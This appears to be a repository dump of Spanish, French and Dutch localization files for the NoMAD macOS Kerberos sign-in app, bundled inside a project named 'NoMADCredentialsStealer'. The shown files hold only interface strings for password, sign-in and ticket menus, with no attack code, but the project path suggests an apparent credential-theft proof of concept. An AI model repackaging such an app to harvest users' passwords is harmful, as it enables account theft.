LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Contraseña antigua 205 | comment 206 | Etiqueta para contraseña antigua 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Contraseña 212 | comment 213 | Etiqueta para contraseña 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Iniciar sesión con SmartCard 219 | comment 220 | Menu para iniciar sesión con PKINIT smartcard 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Iniciar sesión con SmartCard. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | No conectado 233 | comment 234 | Información al usuario sobre la caducidad del ticket cuando no está conectado 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | No conectado 240 | comment 241 | Información del usuario cuando no está conectado 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | Sin usuario 247 | comment 248 | Información del usuario cuando no está disponible ningún usuario 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Contraseña cambiada 254 | comment 255 | Notificación cuando la contraseña ha sido cambiada 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Tu contraseña fue cambiada, por favor reinicia sesión en NoMAD para actualizar tu contraseña 261 | comment 262 | Notificación pidiendo el inicio de otra vez otra vez 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignorar 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Iniciar sesión"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Cambiar contraseña"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Iniciar sesión"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Contraseña nueva"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Nombre de usuario"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Contraseña nueva"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Contraseña"; 21 | 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Cambia tu contraseña de usuario de red."; 3 | 4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 5 | "0IM-ZO-KLA.title" = "Cambia la contraseña"; 6 | 7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Bloquea tu pantalla"; 9 | 10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 11 | "3Pf-2O-qR7.title" = "Bloquea la pantalla"; 12 | 13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 14 | "3yQ-ft-CVW.title" = "Preferencias"; 15 | 16 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */ 17 | "7uv-39-xiX.title" = "Información del ticket"; 18 | 19 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 20 | "A9U-v2-LiT.ibShadowedToolTip" = "Fecha de caducidad del certificado"; 21 | 22 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 23 | "A9U-v2-LiT.title" = "Fecha de caducidad"; 24 | 25 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 26 | "AlW-9M-CK2.ibShadowedToolTip" = "Obtén un certificado."; 27 | 28 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 29 | "AlW-9M-CK2.title" = "Obtén un certificado"; 30 | 31 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 32 | "CUr-ED-n29.ibShadowedToolTip" = "Tiempo hasta que tu contraseña de usuario de red caduque."; 33 | 34 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 35 | "CUr-ED-n29.title" = "la contraseña caduca"; 36 | 37 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 38 | "QYf-mL-9ta.ibShadowedToolTip" = "Tiempo hasta que tu ticket Kerberos caduque."; 39 | 40 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 41 | "QYf-mL-9ta.title" = "vida del ticket"; 42 | 43 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 44 | "Wa6-S1-lXm.ibShadowedToolTip" = "Inicia sesión con tu cuenta de usuario de red."; 45 | 46 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 47 | "Wa6-S1-lXm.title" = "Registrarse"; 48 | 49 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 50 | "XL2-b8-IwM.ibShadowedToolTip" = "Inicia sesión con tu cuenta de usuario de red."; 51 | 52 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 53 | "XL2-b8-IwM.title" = "Inicia sesión 2"; 54 | 55 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 56 | "fuo-5h-NuR.title" = "Obtener aplicación"; 57 | 58 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 59 | "gM7-FQ-f0l.title" = "Cerrar"; 60 | 61 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 62 | "kql-Bl-QJE.title" = "Ítem oculto 1"; 63 | 64 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 65 | "pC8-5a-Aec.title" = "Volcado de logs"; 66 | 67 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 68 | "rbx-v6-fJx.title" = "Obten ayuda"; 69 | 70 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 71 | "uQI-ol-UUw.ibShadowedToolTip" = "Tu nombre de usuario de red."; 72 | 73 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 74 | "uQI-ol-UUw.title" = "usuario"; 75 | 76 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 77 | "w1A-iF-wAU.ibShadowedToolTip" = "Cierra sesión de tu cuenta de usuario de red."; 78 | 79 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 80 | "w1A-iF-wAU.title" = "Cerrar sesión"; 81 | 82 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 83 | "wcV-DA-kNE.title" = "Aplicación y ayuda"; 84 | 85 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "Verify"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Verificar"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Cambio de contraseña"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Nueva contraseña"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Cambiar contraseña"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Contraseña actual"; 15 | 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/es.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Renovar ticket"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "Dominio de AD"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Usar llavero"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Preferencias"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Plantilla"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "opcional"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Dominio Kerberos"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "El nombre de tu dominio de AD."; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "company.com"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Segundos"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "opcional"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "opcional"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Mostrar carpeta de usuario"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Verrouiller l'écran 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Se connecter 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Pas connecté 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Changer le mot de passe 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | Nom d'utilisateur 44 | comment 45 | User's full name 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Logiciels à la demande 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Obtenir de l'aide 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Préférences 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-RenewTickets 69 | 70 | comment 71 | Menu item to renew Kerberos tickets 72 | value 73 | Renouveler le ticket 74 | 75 | NoMADMenuController-PasswordExpiresInDays 76 | 77 | comment 78 | Long text for how many days until your password expires 79 | value 80 | Le mot de passe expire dans %@ jours 81 | 82 | PasswordDoesNotExpire 83 | 84 | value 85 | Le mot de passe n'expire jamais 86 | comment 87 | menu item for when the password has no expiration date 88 | 89 | PasswordChangeSuccessful 90 | 91 | value 92 | Le mot de passe a été changé avec succès. Remarque: le délai d'expiration du mot de passe peut prendre jusqu'à une heure pour être mis à jour. 93 | comment 94 | message to let user know password changed successfully 95 | 96 | InvalidPassword 97 | 98 | value 99 | Mot de passe invalide. Veuillez réessayer. 100 | comment 101 | error when password is wrong 102 | 103 | InvalidUsername 104 | 105 | value 106 | Nom d'utilisateur invalide. Veuillez réessayer. 107 | comment 108 | error when username is wrong 109 | 110 | PasswordExpire 111 | 112 | value 113 | Votre mot de passe a expiré. Veuillez réinitialiser votre mot de passe maintenant. 114 | comment 115 | error when password has expired 116 | 117 | PasswordAboutToExpire 118 | 119 | value 120 | Mot de passe à expiration! 121 | comment 122 | message when password is about to expire 123 | 124 | PasswordExpiresOn 125 | 126 | value 127 | Votre mot de passe réseau est sur le point d'expirer 128 | comment 129 | Your network password is about to expire on <date> 130 | 131 | PasswordMismatch 132 | 133 | value 134 | Les nouveaux mots de passe ne correspondent pas. 135 | comment 136 | error when new passwords don't match 137 | 138 | NetworkLocalMismatch 139 | 140 | value 141 | Vos mots de passe réseau et locaux sont différents. Entrez votre mot de passe local pour mettre à jour votre session. 142 | comment 143 | error when network and local passwords do not match 144 | 145 | ValidCertificate 146 | 147 | value 148 | Vous avez déjà un certificat valide. 149 | comment 150 | user already has a valid certificate 151 | 152 | Cancel 153 | 154 | value 155 | Annuler 156 | comment 157 | button for cancelling actions 158 | 159 | RequestAnyway 160 | 161 | value 162 | Demander à nouveau 163 | comment 164 | button to request anyway 165 | 166 | CertConnectionError 167 | 168 | value 169 | Erreur de connexion. Assurez-vous que les certificats SSL sont approuvés et que l'URL est correcte pour votre X509 CA. 170 | comment 171 | message when Certificate Authority can't be reached 172 | 173 | CAConfigError 174 | 175 | value 176 | Assurez-vous que les paramètres de l'autorité de certification sont corrects. 177 | comment 178 | error when CA can't be found 179 | 180 | d 181 | 182 | value 183 | j 184 | comment 185 | short form of days 186 | 187 | HomeSharepoint 188 | 189 | value 190 | Le dossier Home 191 | comment 192 | Menu item for opening up a user's home sharepoint from their AD profile 193 | 194 | LoginWindow-OldPasswordLabel 195 | 196 | value 197 | Old Password 198 | comment 199 | Label for old password 200 | 201 | LoginWindow-PasswordLabel 202 | 203 | value 204 | Password 205 | comment 206 | Label for password 207 | 208 | NoMADMenuController-SmartcardSignIn 209 | 210 | value 211 | Smartcard Sign In 212 | comment 213 | PKINIT smartcard menu sign in 214 | 215 | NoMADMenuController-SignInWithSmartcard 216 | 217 | value 218 | Sign in with a Smartcard. 219 | comment 220 | PKINIT smartcard menu sign in tool tip 221 | 222 | NoMADMenuController-NotLoggedIn 223 | 224 | value 225 | Not logged in. 226 | comment 227 | User info for ticket life when not signed in 228 | 229 | NoMADMenuController-NotSignedIn 230 | 231 | value 232 | Not Signed In 233 | comment 234 | User info when not signed in 235 | 236 | NoMADMenuController-NoUser 237 | 238 | value 239 | No User 240 | comment 241 | User info when no user is available 242 | 243 | UserInformation-PasswordChanged 244 | 245 | value 246 | Password Changed 247 | comment 248 | Notification title when password changed 249 | 250 | UserInformation-PwdChangedSignInAgain 251 | 252 | value 253 | Your password was changed, please re-sign into NoMAD to update your password. 254 | comment 255 | Notification text asking to sign in again 256 | 257 | UserInformation-Ignore 258 | 259 | value 260 | Ignore 261 | comment 262 | Password change notification ignore button 263 | 264 | 265 | 266 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Connectez-vous"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Changer mot de passe"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Connectez-vous"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Nouveau mot de passe"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Utilisateur"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Nouveau mot de passe"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Mot de passe"; 21 | 22 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 2 | "0IM-ZO-KLA.ibShadowedToolTip" = "Modifier votre mot de passe réseau."; 3 | 4 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 5 | "0IM-ZO-KLA.title" = "Changer mot de passe"; 6 | 7 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 8 | "3Pf-2O-qR7.ibShadowedToolTip" = "Verrouiller votre écran."; 9 | 10 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 11 | "3Pf-2O-qR7.title" = "Vérouiller l'écran"; 12 | 13 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 14 | "3yQ-ft-CVW.title" = "Préférences"; 15 | 16 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 17 | "A9U-v2-LiT.ibShadowedToolTip" = "Date d'expiration du certificat."; 18 | 19 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 20 | "A9U-v2-LiT.title" = "Date d'expiration du certificat."; 21 | 22 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 23 | "AlW-9M-CK2.ibShadowedToolTip" = "Obtenir un certificat"; 24 | 25 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 26 | "AlW-9M-CK2.title" = "Obtenir certificat"; 27 | 28 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 29 | "CUr-ED-n29.ibShadowedToolTip" = "Temps jusqu'à ce que votre mot de passe réseau expire."; 30 | 31 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 32 | "CUr-ED-n29.title" = "Mot de passe expire"; 33 | 34 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 35 | "QYf-mL-9ta.ibShadowedToolTip" = "Temps avant que votre ticket Kerberos expire."; 36 | 37 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 38 | "QYf-mL-9ta.title" = "Durée du ticket"; 39 | 40 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 41 | "Wa6-S1-lXm.ibShadowedToolTip" = "Connectez-vous à votre compte réseau."; 42 | 43 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 44 | "Wa6-S1-lXm.title" = "Connectez-vous"; 45 | 46 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 47 | "XL2-b8-IwM.ibShadowedToolTip" = "Connectez-vous à votre compte réseau."; 48 | 49 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 50 | "XL2-b8-IwM.title" = "Connectez-vous"; 51 | 52 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 53 | "fuo-5h-NuR.title" = "Logiciels à la demande"; 54 | 55 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 56 | "gM7-FQ-f0l.title" = "Quitter"; 57 | 58 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 59 | "kql-Bl-QJE.title" = "Article caché 1"; 60 | 61 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 62 | "pC8-5a-Aec.title" = "Obtenir Logs"; 63 | 64 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 65 | "rbx-v6-fJx.title" = "Obtenir de l'aide"; 66 | 67 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 68 | "uQI-ol-UUw.ibShadowedToolTip" = "Votre nom d'utilisateur réseau."; 69 | 70 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 71 | "uQI-ol-UUw.title" = "Utilisateur"; 72 | 73 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 74 | "w1A-iF-wAU.ibShadowedToolTip" = "Déconnectez-vous de votre compte réseau."; 75 | 76 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 77 | "w1A-iF-wAU.title" = "Déconnectez-vous"; 78 | 79 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Nouveau mot de passe"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Changer mot de passe"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Nouveau mot de passe"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Changer mot de passe"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Mot de passe actuel"; 15 | 16 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/fr.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Renouveler le ticket"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "Domaine AD"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Utiliser trousseau"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Préférences"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Modèle"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "optionnel"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Kerberos Domaine"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "Nom de votre domaine AD"; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "company.com"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Secondes"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "optionnel"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "optionnel"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Montrer le dossier Home"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/nl.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Vergrendel scherm 9 | comment 10 | Menu onderdeel om het scherm te vergrendelen 11 | 12 | SignIn 13 | 14 | value 15 | Authenticeer 16 | comment 17 | Menu onderdeel om te authenticeren 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Tekst in de menubalk om aan te geven dat NoMAD het domein kan vinden 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Niet verbonden 30 | comment 31 | Tekst in de menubalk om aan te geven dat NoMAD het domein niet kan vinden 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Wijzig wachtwoord 37 | comment 38 | Menu onderdeel om het wachtwoord te wijzigen 39 | 40 | UserName 41 | 42 | value 43 | Gebruikers naam Name 44 | comment 45 | Gebruikers volledige naam 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu onderdeel om software portaal te openen. 51 | value 52 | Toon software 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Toon hulp 58 | comment 59 | Menu onderdeel om support opties te tonen. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Voorkeuren 65 | comment 66 | Menu onderdeel om voorkeuren venster te openen. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Stop 72 | comment 73 | Menu onderdeel om NoMAD te stoppen. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu onderdeel om Kerberos tickets te vernieuwen. 79 | value 80 | Vernieuw tickets 81 | 82 | 